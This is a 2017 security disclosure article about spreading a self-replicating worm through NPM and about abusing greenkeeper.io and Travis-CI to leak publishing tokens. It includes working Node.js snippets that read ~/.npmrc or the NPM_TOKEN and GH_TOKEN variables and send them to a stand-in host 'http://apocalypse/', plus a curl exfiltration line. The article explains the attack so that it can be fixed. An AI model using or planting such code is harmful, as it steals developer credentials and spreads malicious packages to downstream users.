Distributing a self-replicating malicious code using NPM

Security risks that come with highly automated systems

There is a simple way to get your NPM credentials. Using the obtained credentials, I can spread the worm to all users of your packages and get their credentials. We all know this and choose to ignore it.

This article has been originally published on 24th of January, 2017. It has been taken down at the request of greenkeeper.io team. I have since attempted to contact Jan Lehnardt multiple times to confirm that these security vulnerabilities have been addressed, but have not received a response. I am making the article public as it has been more than 90 days since greenkeeper.io have been informed of the vulnerability.

Obtaining NPM credentials

To get the NPM credentials, all I need to do is read the contents of $HOME/.npmrc and communicate those to an external service. There are many ways to do it. Here is a simple attempt:

const fs = require('fs');
const path = require('path');
const querystring = require('querystring');
const http = require('http');
const npmrcPath = path.resolve(process.env.HOME, '.npmrc');
const npmrc = fs.readFileSync(npmrcPath, 'utf8');
const targetData = querystring.stringify({
npmrc
});
const endpointUrl = 'http://apocalypse/?' + targetData;
http.get(endpointUrl);
To keep the example simple, I am using blocking code, ignoring cross-platform concerns and error handling.

What is http://apocalypse/? A theoretical service that parsers npmrc and uses the registry URL and NPM token to:

  1. Find out whoami & retrieve all packages owned by the user.
  2. Download every package & patch it using the above script.
  3. Publish the “patch”.

This starts a chain reaction of unsuspecting users downloading the package and running it as a dependency of their project.

Node security project

There are projects that are designed to mitigate these attacks, e.g. https://nodesecurity.io/. However, lets face the facts — few packages are using it; among the top 10 the most dependant NPM packages, not one is using NSP.

Dr. Evil

However, all we discussed until now relies on either of the two assumptions:

  • A malicious code is included in a PR against a popular dependency. During the PR review process the malicious code has not been observed or has not been identified as malicious.
  • An author of a popular package intentionally distributes malicious code.

The first scenario is unlikely & there is nothing we can do about dr. Evil integrating into the open-source community as part of the world domination plan.

Using these “open-source contributions”

This is bad, but it is a security vulnerability thats inherent to the design of any package manager. However, things get worse when combined with other services.

travis & semantic-release & greenkeeper

Find any project that uses semantic-release. Chances are it is also using https://travis-ci.org/ and https://greenkeeper.io/. These are all popular services.

Quick intro: semantic-release is an automated package publishing program. semantic-release requires to export NPM_TOKEN and GH_TOKEN environment variables in the CI environment.

Raise a PR that adds your package as a dependency, e.g.

npm install --save my-pkg@1.0.0

A non-malicious, good PR — solves whatever existing problem my-pkg solves. There is nothing evil about my-pkg , it even passes the NSP safe-checks.

Project contributors review the PR and decide to merge it.

Next, add malicious code to my-pkg , e.g.

const querystring = require('querystring');
const http = require('http');
const targetData = querystring.stringify({
ghtoken: process.env.GH_TOKEN,
npmtoken: process.env.NPM_TOKEN
});
const endpointUrl = 'http://apocalypse/?' + targetData;
http.get(endpointUrl);

Bump the major version and release my-pkg@2.0.0.

Here is where shit really hits the fan.

greenkeeper.io will detect a new major version of a dependency and create a PR. Normally, this wouldn’t be a problem. Travis-CI does not export secret environment variables when PR originates from a fork. Therefore, you cannot simply create a PR that adds script curl http://apocalypse/?npmtoken=${NPM_TOKEN} to .travis.yml. However, greenkeeper.io does not use a fork — it creates a new project branch and raises the PR from within the project.

You can guess whats the outcome of this PR.

The outcome is: shit hits the fan.

How to fix this?

https://www.npmjs.com/ must improve token management system. One token cannot be used to control all packages from anywhere. When generating a token, user ought to be able to select which packages the token can control. Furthermore, it should be possible to restrict token usage to IP addresses specified using CIDR notation. In the worst case scenario, this would restrict the damage that a leaked NPM token can do.

Finally, greenkeeper.io is a useful service to keep packages up-to-date. However, it lacks security checks. greepkeeper.io can increase their service value by adding nsp integration — greenkeeper.io must not raise a PR if the dependency is identified as unsafe.

As a consumer, use nsp to check packages for vulnerability and be careful what dependencies you add to your project.

Bonus: Update your Travis-CI ENV variables

My GitHub tokens have been made public as a result of the recently disclosed (unrelated) Travis-CI security incident. GitHub has been quick to react by disabling these tokens. However, that left me needing to update configuration of 100+ Travis-CI projects.

In case you are in a similar boat (you would have received an email in this particular case), here is a bash script to update ENV variables of all projects that you own:

export GITHUB_USER=gajus
export GITHUB_TOKEN=...
travis login
travis repos -o $GITHUB_USER -a --no-interactive | xargs -n1 travis env set GH_TOKEN $GITHUB_TOKEN --private --repo